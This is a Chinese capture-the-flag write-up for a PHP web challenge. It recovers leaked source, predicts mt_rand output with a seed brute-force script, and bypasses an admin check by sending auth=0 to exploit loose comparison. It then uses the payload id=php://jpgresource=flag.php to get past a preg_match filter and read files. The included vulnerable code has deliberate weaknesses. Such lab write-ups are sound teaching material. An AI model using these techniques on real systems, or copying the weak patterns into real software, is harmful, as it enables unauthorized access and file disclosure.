美文网首页
phpjiami/mt_rand/ 弱类型/preg_match

phpjiami/mt_rand/ 弱类型/preg_match

作者: ch3ckr | 来源:发表于2017-12-07 18:32 被阅读14次

    题目地址:http://a3ff80f015a34b59b1b70ab78271dcbbdad8b6e64cce4591.game.ichunqiu.com/
    题目界面:

    题目打开只有一个key,刷新一次,改变一次,抓包也看不出什么名堂。扫描一波备份/文件泄露,发现存在文件:

    • robots.txt
    • index.php
    • file.php
    • flag.php
    • admin.php

    访问robots.txt可以得到一个code.zip压缩包,里面的经过了phpjiami加密。
    解密: phith0n大佬做的一个phpjiami解密的docker镜像:https://hub.docker.com/r/vulhub/php-decrypt-eval/

    解密之后得到源码:
    index.php代码:

    <?php
    $seed = rand(0,99999);
    mt_srand($seed);
    session_start();
    function auth_code($length = 12, $special = true)
    {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        if ($special) {
            $chars .= '!@#$%^&*()';
        }
        $password = '';
        for ($i = 0; $i < $length; $i++) {
            $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
        }
        return $password;
    }
    $key = auth_code(16, false);
    echo "The key is :" . $key . "<br>";
    $private = auth_code(10, false);
    if(isset($_POST['private'])){
        if($_POST['private'] === $_SESSION["pri"]){
            header("Location:admin.php");
        }else{
            $_SESSION["pri"] = $private;
            die("No private!");
        }
    }    
    ?>
    

    这里的考点是:mt_rand()产生随机数时,使用同一个种子,可以预测多次产生的随机数值。
    代码流程:
    首先产生一个16位的随机数,再产生一个10位的随机数并写入到session,然后需要post一个相等的10位随机数就可以进入下一层,即admin.php
    所以解决办法就是先爆破通过16位的随机数爆破出种子,再通过种子生成一个10位的随机数,post进去即可。
    爆破脚本如下:

    <?php 
    function auth_code($length = 12, $special = true)
    {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        if ($special) {
            $chars .= '!@#$%^&*()';
        }
        $password = '';
        for ($i = 0; $i < $length; $i++) {
            $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
        }
        return $password;
    }
    
    for ($seed = 0; $seed < 100000; $seed++) { 
        mt_srand($seed);
        $key = auth_code(16, false);
        if($key == 'E5pepPzORiDnyuws')#key值自行修改
        {   
            echo $seed."\n".auth_code(10, false)."\n";
            break;
        }
    
    }
    echo "finish!";
    ?>
    

    这样就跳到admin.php了,并且得到authAdmin参数的值。

    admin.php代码:

    <?php
    if($_GET['authAdmin']!="***********"){
        die("No login!");
    }
    if(!isset($_POST['auth'])){
        die("No Auth");
    }else{
        $auth  = $_POST['auth'];
        $auth_code = "**********";
        if(json_decode($auth) ==  $auth_code){
            ;
        }else{
            header("Location:index.php");
        }
    }
    ?>
    

    这里需要post一个auth参数使得json_decode($auth) == $auth_code即可进入下一层。
    这里利用0==”str”的特性,传一个int型的0进去即可,即auth=0.

    到了这里输入东西,点击按钮没有反应,查看源代码,发现一段js代码:

    <script>
        $("#give").click(function() {
          filename = $("#filename").val();
          $.ajax({
            url:'file.php',
            type:'post',
            data:{'id':filename,'auth':'1234567890x'},
            dataType:'text',
            success:function(result) {
                console.log(result);
            },
            error:function(XMLHttpRequest, textStatus, errorThrown) {
                console.log(XMLHttpRequest);
                console.log(textStatus);
                console.log(errorThrown);
            }
          })
        })
    </script>
    

    file.php代码:

    <?php
    if($_POST["auth"]=="***********"){
        if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg') !== false))
        {
            $id = $_GET["id"];
            preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
            if (isset($matches[1]))
                $id = $matches[1];
            if (file_exists("./" . $id) == false)
                die("file not found");
            $img_data = fopen($id,'rb');
            $data  = fread($img_data,filesize($id));
            echo $data;
        }else{
            echo "file not found";
        }
    }
    ?>
    

    所以这里尝试post一个auth=1234567890x,get一个id到file.php。
    这里考察点是一个preg_match函数的使用,查询PHP官方文档,得知$matches[1]是将包含第一个捕获子组匹配到的文本,也就是正则表达式中第一个括号匹配到的文本,也就是这里的([^|]*)匹配到的内容,即匹配除|以外的任意字符串。所以要求id的值以“php://任意内容resource=要读取的文件”的格式传入才满足条件。
    这里我们要读取flag.php,所以id传入php://jpgresource=flag.php就可以获取flag。

    reference:###

    相关文章

      网友评论

          本文标题:phpjiami/mt_rand/ 弱类型/preg_match

          本文链接:https://www.haomeiwen.com/subject/kqcjixtx.html